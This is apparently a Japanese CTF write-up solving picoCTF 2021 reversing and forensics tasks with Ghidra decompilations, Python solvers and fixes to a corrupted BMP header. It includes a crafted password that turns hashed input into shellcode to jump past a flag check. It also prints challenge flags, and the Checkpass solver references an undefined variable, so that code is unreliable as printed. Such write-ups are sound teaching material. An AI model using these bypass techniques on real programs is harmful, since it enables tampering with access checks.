001100110011110011110011001100001100001100001100001100110011110011001100110011001100001100110011001100110011110011001100001100001100110011110011001100110011110011001100110011110011110011110011001100110011001100001100001100001100110011110011001100110011001100110011001100110011001100001100001100110011001100001100001100110011110011001100001100110011110011110011110011001100110011110011001100001100110011110011001100001100110011001100001100001100110011110011001100001100001100001100001100001100110011110011001100001100001100110011001100001100110011110011110011001100001100001100001100110011110011001100110011001100001100001100001100110011110011001100110011001100001100110011001100110011110011001100001100110011110011110011001100110011110011001100110011001100001100001100001100110011110011110011001100110011110011110011001100110011001100001100001100001100001100001100001100110011110011110011110011001100001100110011001100110011001100110011110011110011110011110011001100001100110011110011001100001100110011001100001100110011001100110011110011110011110011110011001100110011110011110011001100001100001100001100001100110011110011001100110011110011110011110011001100110011110011110011001100110011110011110011001100001100110011110011001100001100110011110011001100110011110011110011001100001100110011001100001100001100110011001100001100110011001100001100001100110011110011001100110011001100001100001100001100110011110011001100001100110011001100110011001100110011110011001100110011110011001100001100001100001100110011001100001100001100001100110011001100110011110011110011110011110011001100110011
100001000000000000000000100001100001100001100001100001000000000000100001000000100001100001000000100001000000000000100001100001100001000000000000100001000000000000100001000000000000000000000000100001000000100001100001100001100001000000000000100001000000100001000000100001000000100001100001100001000000100001100001100001000000000000100001100001000000000000000000000000100001000000000000100001100001000000000000100001100001000000100001100001100001000000000000100001100001100001100001100001100001000000000000100001100001100001000000100001100001000000000000000000100001100001100001100001000000000000100001000000100001100001100001100001000000000000100001000000100001100001000000100001000000000000100001100001000000000000000000100001000000000000100001000000100001100001100001100001000000000000000000100001000000000000000000100001000000100001100001100001100001100001100001100001000000000000000000000000100001100001000000100001000000100001000000000000000000000000000000100001100001000000000000100001100001000000100001100001000000100001000000000000000000000000000000100001000000000000000000100001100001100001100001100001000000000000100001000000000000000000000000100001000000000000000000100001000000000000000000100001100001000000000000100001100001000000000000100001000000000000000000100001100001000000100001100001100001000000100001100001000000100001100001100001000000000000100001000000100001100001100001100001000000000000100001100001000000100001000000100001000000000000100001000000000000100001100001100001100001000000100001100001100001100001000000100001000000000000000000000000000000100001000000

何やら似たようなパターンが連続しているような感じがします。わかりやすくするため0を黒、1を白として画像にしてみます。

from PIL import Image, ImageDraw

with open("input.txt") as f:
    data = f.readlines()

img = Image.new('L', (len(data[0]), 5))
draw = ImageDraw.Draw(img)

for y, line in enumerate(data):
    for x, c in enumerate(line):
        if c == "0":
            draw.point((x, y), fill=(0))
        else:
            draw.point((x, y), fill=(255))
img.show()

f:id:miso_24:20210411195050p:plain

小さな画像ですが01110000...という文字列が出てきました。後はこれを8bitずつ区切って文字列に変換すればフラグが得られます。

zero = ["100001001100001100001100100001", "100001100011001100001100100001"]
one = ["110011100011110011110011000000", "110011001100110011110011000000"]


with open("input.txt") as f:
    data = f.readlines()

bin_flag = ""
flag = ""

data = [d.rstrip() for d in data]

for i in range(0, len(data[0]), 6):
    rows = ""
    for j in range(5):
        rows += data[j][i:i+6]
    if rows in zero:
        bin_flag += "0"
    elif rows in one:
        bin_flag += "1"
    if len(bin_flag) == 8:
        flag += chr(int(bin_flag, 2))
        bin_flag = ""

print(flag)
$ python solve.py
picoCTF{2018highw@y_2_pow3r$hel!}

Rolling My Own

remoteというELF形式の実行ファイルが与えられます。

実行するとPassword:と表示されるので適当に入力してやるとillegal hardware instructionsegmentation faultと出て終了します。

./remote
Password: hoge
zsh: segmentation fault (core dumped)  ./remote

Ghidraでデコンパイルしてmain関数を見ます。

undefined8 FUN_00100b6a(void)

{
  size_t sVar1;
  void *__ptr;
  undefined8 *puVar2;
  long in_FS_OFFSET;
  int local_100;
  int local_fc;
  int local_e8 [4];
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined local_a8;
  char acStack153 [65];
  char local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  local_c8 = 0x57456a4d614c7047;
  local_c0 = 0x6b6d6e6e6a4f5670;
  local_b8 = 0x367064656c694752;
  local_b0 = 0x736c787a6563764d;
  local_a8 = 0;
  local_e8[0] = 8;
  local_e8[1] = 2;
  local_e8[2] = 7;
  local_e8[3] = 1;
  memset(acStack153 + 1,0,0x40);
  memset(local_58,0,0x40);
  printf("Password: ");
  fgets(acStack153 + 1,0x40,stdin);
  sVar1 = strlen(acStack153 + 1);
  acStack153[sVar1] = '\0';
  local_100 = 0;
  while (local_100 < 4) {
    strncat(local_58,acStack153 + (long)(local_100 << 2) + 1,4);
    strncat(local_58,(char *)((long)&local_c8 + (long)(local_100 << 3)),8);
    local_100 = local_100 + 1;
  }
  __ptr = malloc(0x40);
  sVar1 = strlen(local_58);
  FUN_00100e3e(__ptr,local_58,sVar1 & 0xffffffff);
  local_100 = 0;
  while (local_100 < 4) {
    local_fc = 0;
    while (local_fc < 4) {
      *(undefined *)((long)&local_d8 + (long)(local_fc * 4 + local_100)) =
           *(undefined *)((long)__ptr + (long)(local_e8[local_fc] + local_fc * 0x10 + local_100));
      local_fc = local_fc + 1;
    }
    local_100 = local_100 + 1;
  }
  puVar2 = (undefined8 *)mmap((void *)0x0,0x10,7,0x22,-1,0);
  *puVar2 = local_d8;
  puVar2[1] = local_d0;
  (*(code *)puVar2)(FUN_0010102b);
  free(__ptr);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

main関数をPythonで書き直すと以下のようになります。

# decompile.py
from hashlib import md5

def md5hash(buf, blen):
    if blen % 0xc == 0:
        block_num = blen // 0xc
    else:
        block_num = blen // 0xc + 1
    result = bytearray(0x40)
    for i in range(block_num):
        if i != block_num - 1 and blen % 0xc != 0:
            tmp = buf[i*0xc:i*0xc+block_num]
        else:
            tmp = buf[i*0xc:i*0xc+0xc]
        m5 = md5()
        m5.update(tmp)
        digest = m5.digest()
        for j in range(0x10):
            result[(i * 0x10 + j) & 0x3f] = digest[j]
    return result

hoge = [0x57456a4d614c7047, 0x6b6d6e6e6a4f5670, 0x367064656c694752, 0x736c787a6563764d]
hoge = [h.to_bytes(8, "little") for h in hoge]

# fgets(inp, 0x40, stdin)
inp = b"D1v1" + b"bbbbccccdddd"
inp = inp + bytes(0x40 - len(inp))

tmp_inp = inp
data = b""
for i in range(4):
    data += tmp_inp[:4] + hoge[i]
    tmp_inp = tmp_inp[4:]

h = md5hash(data, len(data))

local_e8 = [8, 2, 7, 1]
local_d8 = bytearray(16)

for i in range(4):
    for j in range(4):
        local_d8[j * 4 + i] = h[local_e8[j] + j * 0x10 + i]

# local_d8の中身がmmapで確保された領域に書き込まれ、呼び出される
#   puVar2 = (undefined8 *)mmap((void *)0x0,0x10,7,0x22,-1,0);
#  *puVar2 = local_d8;
#  puVar2[1] = local_d0;
#  (*(code *)puVar2)(FUN_0010102b);

FUN_0010102bはフラグを表示する関数です。第一引数が0x7b3dc26f1でないとフラグを表示してくれません。

パスワードの最初の4文字はヒントよりD1v1とわかっています。これを上記のdecompile.pyのinpに与えてやるとb"\x48\x89\xfe\x48"が返ってきます。これはmov rsi, rdiを表しています。

local_d8の中身が、

mov rsi, rdi
xor rdi, rdi
mov rdi, 0x7b3dc26f1
jmp rsi

のようになる入力を探しても見つからず、いろいろ試していたらD1v1plsu0jPO$U2hと入力するとうまくいくことがわかりました。これを入力すると以下の命令が実行されます。

mov  rsi, rdi
xor sil, 0x45
dec rsi
nop
jmp rsi
jbe 0xfa3

FUN_0010102bのアドレスの下位2byteは0x102b、FUN_0010102b内の__stream = fopen("flag","r");のアドレスの下位2byteは0x106dです。rsiにはFUN_0010102bのアドレスが入っており、xor sil, 0x45dec rsiで0x102b ^ 0x45 - 1 = 0x106dとなるため第一引数をチェックしている部分を無視してフラグを表示できるようになっています。

$ nc mercury.picoctf.net 17615
Password: D1v1plsu0jPO$U2h
picoCTF{r011ing_y0ur_0wn_crypt0_15_h4rd!_ad137747}s

Checkpass

checkpassというELF形式の実行ファイルが与えられます。実行するとUsageが表示されます。

$ ./checkpass
Usage:
    ./checkpass <password>

適当にpasswordを与えてやると今度はInvalid lengthと表示されます。

$ ./checkpass hogehoge
Invalid length

passwordの長さを少しずつ増やしながら与えてやると41文字でInvalid passwordと表示されるようになりました。

$ ./checkpass AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Invalid password

これらの情報を元に解析を進めていきます。

とりあえずGhidraでデコンパイルしてmain関数と思われる関数を見てみます。

void FUN_00105960(void)

{
  long *plVar1;
  undefined4 *puVar2;
  long *plVar3;
  undefined4 uVar4;
  undefined4 uVar5;
  undefined4 uVar6;
  undefined4 uVar7;
  undefined4 uVar8;
  undefined4 uVar9;
  undefined4 uVar10;
  undefined **local_128;
  undefined *puStack288;
  undefined *local_118;
  undefined4 uStack272;
  undefined4 uStack268;
  long *local_108;
  undefined8 local_100;
  char local_f5;
  char local_f2;
  char local_f1;
  char local_f0;
  char local_ef;
  char local_ee;
  char local_ed;
  char local_ec;
  char local_eb;
  char local_ea;
  char local_e9;
  char local_e8;
  char local_e7;
  char local_e6;
  char local_e5;
  char local_e4;
  char local_e3;
  char local_e2;
  char local_e1;
  char local_e0;
  char local_df;
  char local_de;
  char local_dd;
  char local_dc;
  char local_db;
  char local_da;
  char local_d9;
  char local_d8;
  char local_d7;
  char local_d6;
  char local_d5;
  char local_d4;
  char local_d3;
  char local_d2;
  char local_d1;
  char local_d0;
  char local_cf;
  char local_ce;
  char local_cd;
  char local_cc;
  char local_cb;
  char local_ca;
  char local_c9;
  char local_c8;
  char local_c7;
  char local_c6;
  char local_c5;
  char local_c4;
  char local_c3;
  char local_c2;
  char local_c1;
  undefined **local_c0;
  undefined4 local_b8;
  undefined4 uStack180;
  long lStack176;
  long local_a8;
  code *pcStack160;
  undefined4 uStack144;
  undefined4 uStack140;
  long local_88 [2];
  long local_78;
  undefined local_70 [24];
  undefined4 uStack88;
  undefined4 uStack84;
  undefined local_50 [24];
  undefined4 uStack56;
  undefined4 uStack52;
  
  local_108 = &local_a8;
  FUN_0011f000(local_108);
  uStack272 = uStack144;
  uStack268 = uStack140;
  FUN_00106a00(local_88,&local_128);
  if (local_78 == 2) {
    if (*(long *)(local_88[0] + 0x28) == 0x29) {
      plVar3 = *(long **)(local_88[0] + 0x18);
      if (((plVar3 == (long *)&DAT_00139d78) || (*plVar3 == 0x7b4654436f636970)) &&
         ((plVar1 = plVar3 + 5, plVar1 == (long *)&DAT_00139d94 || (*(char *)plVar1 == '}')))) {
        if (*(char *)(plVar3 + 1) < -0x40) {
          FUN_00134220(plVar3,0x29,8,0x29,&PTR_s_src/main.rs_00348260);
        }
        else {
          if (*(char *)plVar1 < -0x40) {
            FUN_00134220(plVar3 + 1,0x21,0,0x20,&PTR_s_src/main.rs_00348260);
          }
          else {
            local_c0 = (undefined **)thunk_FUN_0011ac90(0x20,1);
            if (local_c0 == (undefined **)0x0) {
              FUN_00132f80(0x20,1);
              do {
                invalidInstructionException();
              } while( true );
            }
            local_b8 = 0x20;
            uStack180 = 0;
            lStack176 = 0;
                    /* try { // try from 00105b2a to 00105b3a has its CatchHandler @ 001065c8 */
                    /* } // end try from 00105b2a to 00105b3a */
            FUN_00106720(&local_c0,0,0x20);
            uVar4 = *(undefined4 *)(plVar3 + 1);
            uVar5 = *(undefined4 *)((long)plVar3 + 0xc);
            uVar6 = *(undefined4 *)(plVar3 + 2);
            uVar7 = *(undefined4 *)((long)plVar3 + 0x14);
            uVar8 = *(undefined4 *)((long)plVar3 + 0x1c);
            uVar9 = *(undefined4 *)(plVar3 + 4);
            uVar10 = *(undefined4 *)((long)plVar3 + 0x24);
            puVar2 = (undefined4 *)((long)local_c0 + lStack176 + 0x10);
            *puVar2 = *(undefined4 *)(plVar3 + 3);
            puVar2[1] = uVar8;
            puVar2[2] = uVar9;
            puVar2[3] = uVar10;
            puVar2 = (undefined4 *)((long)local_c0 + lStack176);
            *puVar2 = uVar4;
            puVar2[1] = uVar5;
            puVar2[2] = uVar6;
            puVar2[3] = uVar7;
            if (lStack176 == 0) {
              local_128 = (undefined **)*local_c0;
              puStack288 = local_c0[1];
              local_118 = local_c0[2];
              uStack272 = *(undefined4 *)(local_c0 + 3);
              uStack268 = *(undefined4 *)((long)local_c0 + 0x1c);
                    /* try { // try from 00105b77 to 001065c2 has its CatchHandler @ 001065d7 */
              lStack176 = lStack176 + 0x20;
              FUN_001054e0(local_70,&local_128,0);
              uStack272 = uStack88;
              uStack268 = uStack84;
              FUN_001054e0(local_50,&local_128,1);
              uStack272 = uStack56;
              uStack268 = uStack52;
              FUN_001054e0(&local_a8,&local_128,2);
              uStack272 = uStack144;
              uStack268 = uStack140;
              FUN_001054e0(&local_e0,&local_128,3);
              local_e9 = local_dd;
              local_e3 = local_dc;
              local_ec = local_db;
              local_e1 = local_da;
              local_f0 = local_d9;
              local_e7 = local_d8;
              local_e2 = local_d6;
              local_ee = local_d5;
              local_e5 = local_d3;
              local_f1 = local_d1;
              local_ed = local_d0;
              local_e6 = local_cf;
              local_e4 = local_ce;
              local_ea = local_cc;
              local_eb = local_cb;
              local_ef = local_ca;
              local_e8 = local_c4;
              local_f2 = local_c2;
              local_128 = (undefined **)0x19;
              local_f5 = local_de;
              if ((((((local_c7 == -0x1a) && (local_128 = (undefined **)0x0, local_e0 == '\x1f')) &&
                    (local_128 = (undefined **)0xe, local_d2 == -0x31)) &&
                   ((local_128 = (undefined **)0x13, local_cd == -0x48 &&
                    (local_128 = (undefined **)0x17, local_c9 == -0xc)))) &&
                  ((((local_128 = (undefined **)0x1, local_df == -0x67 &&
                     ((local_128 = (undefined **)0x1d, local_c3 == -0x1a &&
                      (local_128 = (undefined **)0x1b, local_c5 == -0x33)))) &&
                    ((local_128 = (undefined **)0x1a, local_c6 == 'w' &&
                     (((((local_128 = (undefined **)0xc, local_d4 == -0x62 &&
                         (local_128 = (undefined **)0x1f, local_c1 == '{')) &&
                        (local_128 = (undefined **)0x6, local_da == ':')) &&
                       ((local_128 = (undefined **)0xa, local_d6 == -0x52 &&
                        (local_128 = (undefined **)0xf, local_d1 == 'H')))) &&
                      (local_128 = (undefined **)0x1e, local_c2 == 'w')))))) &&
                   (((((local_128 = (undefined **)0x7, local_d9 == -0x35 &&
                       (local_128 = (undefined **)0xb, local_d5 == -0x35)) &&
                      ((local_128 = (undefined **)0x5, local_db == '\"' &&
                       (((local_128 = (undefined **)0x16, local_ca == 'F' &&
                         (local_128 = (undefined **)0x10, local_d0 == '\x05')) &&
                        (local_128 = (undefined **)0x15, local_cb == -0x67)))))) &&
                     ((local_128 = (undefined **)0x3, local_dd == -0x3e &&
                      (local_128 = (undefined **)0x14, local_cc == -0x33)))) &&
                    (local_128 = (undefined **)0x8, local_d8 == 'E')))))) &&
                 ((((local_128 = (undefined **)0x1c, local_c4 == '+' &&
                    (local_128 = (undefined **)0xd, local_d3 == ' ')) &&
                   ((local_128 = (undefined **)0x11, local_cf == '{' &&
                    (((local_128 = (undefined **)0x2, local_de == 'P' &&
                      (local_128 = (undefined **)0x9, local_d7 == -0x59)) &&
                     (local_128 = (undefined **)0x4, local_dc == -0x48)))))) &&
                  ((local_128 = (undefined **)0x18, local_c8 == -0x31 &&
                   (local_128 = (undefined **)0x12, local_ce == '{')))))) {
                FUN_001066a0();
              }
              else {
                FUN_00106650();
              }
            }
            else {
              lStack176 = lStack176 + 0x20;
              FUN_00106600();
            }
          }
        }
      }
      else {
        FUN_00106650();
      }
    }
    else {
      FUN_00106600();
    }
  }
  else {
    if (local_78 == 0) {
                    /* try { // try from 00105a53 to 00105b16 has its CatchHandler @ 001065e6 */
      FUN_001356a0(0,0,&PTR_s_src/main.rs_00348248);
    }
    else {
      local_a8 = local_88[0];
      pcStack160 = FUN_001054c0;
      local_128 = &PTR_DAT_00348228;
      puStack288 = (undefined *)0x2;
      local_118 = (undefined *)0x0;
      local_100 = 1;
      FUN_001083b0(&local_128);
      FUN_0011f1d0(1);
    }
  }
  do {
    invalidInstructionException();
  } while( true );
}

大まかに処理の流れをまとめると以下のようになります。

  1. 第一引数として与えられた文字列(以下inputという)の長さが0x29かどうかチェック
  2. inputがpicoCTF{}という形式かチェック
  3. inputをFUN_001054e0に4回通す
  4. inputが正しければSuccess、間違っていればInvalid passwordと表示

3,4番の処理をPythonで書き直して総当りでフラグを求めました。

import string

data = [[-91, -32, -126, 8, 104, 56, 22, -3, -67, -83, 20, 126, -85, 30, -21, -90, -49, 54, 55, -52, -23, -120, 79, 58, -61, 6, 93, -81, -107, 15, -77, 88, -110, -4, -116, -27, 96, 43, -62, 105, 102, 34, -72, 13, -17, -124, 95, -96, -41, 110, 42, -53, 70, 44, -15, -79, -87, -34, -43, -73, -50, 57, 98, -24, 112, 12, 33, -58, 100, 125, -69, -63, -104, 32, 2, -1, 127, 85, 107, 108, -12, 84, -16, 86, -55, 87, -99, -48, -59, -127, 67, 103, -33, -8, 71, -75, 121, -97, 60, 31, -100, 24, -128, -102, -115, 48, -39, -108, 47, 66, 80, 53, 116, 17, -114, 78, -60, 4, -80, -31, 92, 61, 114, -57, 25, 106, 77, 73, 3, 21, -111, -103, 26, 5, -64, -25, 82, -117, 111, 89, -7, -123, -45, -68, 37, -51, -74, -37, -20, 91, 123, -10, -86, 115, 29, -2, 38, 65, 62, -93, 83, -19, 90, 52, -22, -84, 23, -112, 16, 51, 99, -89, -46, 118, -9, -66, -125, 74, 122, 10, -36, 69, -42, 72, -18, 36, -14, 68, 18, 49, 28, 50, -38, 94, 35, 45, -88, -92, 0, 27, 64, 120, 101, 124, 113, -40, -121, -35, 1, 59, 75, -65, 39, 97, 109, 11, -95, -29, -47, 81, -98, -44, -5, -82, -6, -13, -76, 14, -54, -109, 9, -56, -71, -105, 117, 76, -28, -106, 63, -101, 119, -26, 41, 19, 7, -78, 46, -119, 40, -30, -94, -113, -118, -122, -11, -70], [105, 2, 100, 19, 75, -46, -28, -11, -124, -20, -64, -31, 72, 18, 91, -108, -75, -117, -19, 101, 87, -48, 15, 62, 55, -120, -45, -32, 52, -24, 45, -101, -83, 70, 42, 31, 89, 46, 108, -56, 14, -34, 106, -74, 121, -121, 34, -105, -59, 20, 25, -35, -63, -73, -112, 66, -77, -21, -25, 23, 77, 85, -2, 13, -10, 51, -58, -26, 109, -30, -79, 3, 71, -13, 38, -4, 22, 27, -62, 40, 7, 96, -84, 118, -115, 111, 97, -53, 107, -128, -99, 21, -81, 56, -80, -47, -44, 88, 61, -125, -5, -90, 26, -93, 115, 120, 36, -27, 65, -22, -52, 63, -7, -113, -66, -97, 110, 68, 73, -69, -89, 76, 64, -78, -14, 49, -54, -41, -23, -72, 114, -71, 84, 50, 92, -43, -57, 74, 17, 8, -70, 117, -36, -67, 125, 24, 98, 39, -111, -118, 116, -51, 53, -104, 123, 5, -61, 67, -91, -15, 41, -1, 113, -29, 78, 82, 37, 81, -60, 47, 30, -107, -85, 102, 86, -110, 127, 10, 32, -38, -109, -42, -76, 57, 16, -98, -40, -68, 4, -50, 93, -114, -116, 58, -87, 0, -33, -6, 59, 103, 104, 83, 122, -94, 69, 79, 124, 6, -92, -127, 28, -119, -39, -96, 44, 33, -106, -95, 95, 119, -82, -122, -126, -100, -86, -12, -37, -49, -65, -88, 99, -8, 11, 9, 60, -55, -17, -16, 43, 90, -18, -103, 1, 48, -123, 94, 126, 54, 29, -3, 80, 112, 12, -102, 35, -9], [-50, 106, -21, -59, 71, 22, -24, -36, -116, 57, -81, -77, 31, -61, 104, 126, -3, 16, -38, 60, 30, 21, 87, -93, -29, -88, 78, 5, 10, 118, 116, -32, -105, 119, -109, -97, 123, 113, 49, -11, 59, -84, -76, -101, -58, 94, -102, 55, 34, 1, -44, -103, -121, -28, -83, -89, 107, 36, 20, 100, 98, -22, 82, 124, 56, 92, -52, -4, 35, 84, 72, 37, 9, -107, 46, -79, 52, -31, -1, 23, 58, -17, -55, 80, 62, -5, 114, -48, 77, 42, 75, -90, -12, -123, -54, 0, 48, -63, 108, 70, 53, -35, -124, -108, 47, 86, -23, 109, 85, 6, -117, 54, -98, 93, -43, 63, -112, 96, 103, -10, -120, -80, 121, -40, -95, -6, 2, -115, 73, -15, -127, -126, -71, 67, 105, -18, 91, 4, -30, 97, 14, -73, -64, -16, 40, -87, 115, -125, 28, -66, 76, 19, 117, -111, 27, -51, -67, 127, 12, -122, 26, -92, -46, -118, -9, 68, 69, -85, 50, 66, -49, -34, 25, -114, 79, 111, 110, -57, -72, -19, -91, 65, -56, 41, 13, -106, 89, 99, -42, -70, -8, 61, -37, -99, 120, -104, 38, -94, -2, 44, -68, 39, -119, 3, 81, -45, 17, -39, 101, -25, -26, 51, 15, -110, -75, -100, -65, -53, 24, 112, -60, 7, -82, 125, -78, 45, -113, -62, 32, -14, -86, 64, -41, 18, 29, -74, 88, 90, -96, 43, 74, -13, 11, -7, 95, 8, -33, 122, -20, 102, -69, -27, 83, -47, 33, -128], [17, -125, 77, 111, 26, 10, -111, 53, 95, 62, -128, 20, -87, -38, -10, 85, -44, -32, 1, -82, 119, 9, 33, 101, -101, -86, 86, -94, 112, 16, -66, -122, -15, 19, 117, 25, 30, 103, 7, -14, -107, 37, 124, 105, -17, -2, 68, 15, 113, -61, -19, -18, 106, -89, -48, -78, 76, 89, 44, -29, 47, -106, 127, -30, -91, -23, -52, 43, 12, 118, -56, -108, 73, -69, 23, 2, -20, -116, 100, 11, 4, -53, -70, -90, 27, 79, 21, 121, -105, -126, 65, -67, 116, 75, -71, 98, -26, -57, -64, 84, 80, -109, -9, -96, 0, -25, -84, 3, -36, 90, -27, -63, 29, 126, 60, 42, 74, -42, 108, -39, -37, -77, -93, 71, 81, 32, 6, 91, -1, -103, 41, -3, -60, -95, -5, -123, -79, -34, 40, -35, 102, 52, 88, 36, -59, -115, -22, -58, 96, -13, -31, -97, -49, 35, -81, 46, 64, 92, 125, 24, -62, 115, -51, -83, 67, -127, -112, 34, 94, 45, -75, -11, -16, -104, 38, -45, -7, 107, -76, -43, 28, 31, 57, -98, -74, -100, -120, 69, -46, 61, -88, 82, -47, 70, 22, -54, -12, 110, 120, 104, 8, 56, -119, -55, -110, 13, -85, -80, 54, -33, 58, 99, -6, 39, -68, -92, -72, 50, 78, 14, 123, 114, 109, 83, 93, -41, -114, 55, 87, 48, -121, -21, 66, 18, -102, -65, 59, -24, -28, -73, 63, 97, -50, 5, -40, -4, -8, 49, -124, -99, 51, -117, 122, -113, 72, -118]]

data_idx = [[12, 25, 31, 15], [31, 12, 8, 27], [17, 3, 6, 25], [22, 14, 9, 19], [1, 11, 21, 22], [10, 7, 30, 8], [15, 18, 29, 4], [5, 22, 22, 24], [19, 31, 18, 20], [3, 19, 10, 14], [26, 30, 27, 11], [20, 21, 19, 9], [6, 23, 16, 10], [16, 9, 1, 2], [0, 24, 14, 6], [24, 0, 24, 23], [8, 5, 12, 17], [11, 28, 7, 18], [23, 29, 15, 3], [4, 16, 2, 13], [9, 27, 17, 12], [21, 1, 20, 26], [18, 15, 23, 7], [13, 8, 11, 5], [7, 6, 26, 31], [30, 20, 28, 28], [2, 13, 13, 30], [28, 17, 0, 0], [25, 2, 3, 1], [27, 4, 25, 21], [29, 26, 5, 29], [14, 10, 4, 16]]
target_idx = [8,0x19,0x1b,0x1c,0x11,0xe,0xc,0xf,2,0x15,0x10,9,0x13,10,0xd,6,0x16,0,0x1e,1,4,0x1a,0x1d,3,0x1f,0x14,0x18,7,0xb,0x17,5,0x12]

expected_dat = [31, -103, 80, -62, -72, 34, 58, -53, 69, -89, -82, -53, -98, 32, -49, 72, 5, 123, 123, -72, -51, -103, 70, -12, -49, -26, 119, -51, 43, -26, 119, 123]
indices = [0x19, 0x00, 0x0e, 0x13, 0x17, 0x01, 0x1d, 0x1b, 0x1a, 0x0c, 0x1f, 0x06, 0x0a, 0x0f, 0x1e, 0x07, 0x0b, 0x05, 0x16, 0x10, 0x15, 0x03, 0x14, 0x08, 0x1c, 0x0d, 0x11, 0x02, 0x09, 0x04, 0x18, 0x12]

plain_indices = [0x61,0x48,0x56,0x5b,0x5f,0x49,0x65,0x63,0x62,0x54,0x67,0x4e,0x52,0x57,0x66,0x4f,0x53,0x4d,0x5e,0x58,0x5d,0x4b,0x5c,0x50,0x64,0x55,0x59,0x4a,0x51,0x4c,0x60,0x5a]
plain_indices = [p - 0x48 for p in plain_indices]

expected = [expected_dat[i] & 0xff for i in indices]

expected_map = dict([(p, e) for p, e in zip(plain_indices, expected)])

def nth_FUN001054e0(n, c):
    idx = n
    buf = ord(c)
    for i in range(4):
        for di, d in enumerate(data_idx):
            if d[i] == tmp:
                break
        idx = target_idx[di]
        buf = data[i][buf] & 0xff
    return buf, idx
    
flag = bytearray(0x20)

for i in range(32):
    for c in string.printable:
        p, idx = nth_FUN001054e0(i, c.encode())
        if p == expected_map[idx]:
            flag[i] = ord(c)
            break
            
print("picoCTF{" + flag.decode() + "}")
$ python solve.py
picoCTF{t1mingS1deChann3l_9GrRhPdQgJ9XGi}

Forensics

tunn3l v1s10n

tunn3l_v1s10nというファイルが渡されます。とりあえずxxdで16進ダンプしてみます。

$ xxd tunn3l_v1s10n | head -n 3
00000000: 424d 8e26 2c00 0000 0000 bad0 0000 bad0  BM.&,.....<...(.
00000010: 0000 6e04 0000 3201 0000 0100 1800 0000  ..n...2.........
00000020: 0000 5826 2c00 2516 0000 2516 0000 0000  ..X&,.%...%.....

最初の2バイトがBMとなっているのでbmpファイルだとわかります。しかし、開こうと思っても開けません。

ヘッダをよく見ると11,12バイト目の部分と15,16バイト目の部分がおかしくなっています。bmpファイルフォーマットについて調べて、以下のように修正すると開けるようになりました。

$ xxd tunn3l_v1s10n | head -n 3
00000000: 424d 8e26 2c00 0000 0000 3c00 0000 2800  BM.&,.....<...(.
00000010: 0000 6e04 0000 3201 0000 0100 1800 0000  ..n...2.........
00000020: 0000 5826 2c00 2516 0000 2516 0000 0000  ..X&,.%...%.....

f:id:miso_24:20210408185510j:plain

しかし、notaflag{sorry}と書かれているだけでフラグが見つかりません。

そこで、ファイルサイズに対して画像のサイズが小さいことが不思議だったのでヘッダを適当に弄っているとフラグが出てきました。以下は修正後の16進ダンプです。32015203に変わっています。

xxd tunn3l_v1s10n.bmp | head -n 3
00000000: 424d 8e26 2c00 0000 0000 3c00 0000 2800  BM.&,.....<...(.
00000010: 0000 6e04 0000 5203 0000 0100 1800 0000  ..n...R.........
00000020: 0000 5826 2c00 2516 0000 2516 0000 0000  ..X&,.%...%.....

f:id:miso_24:20210413212239p:plain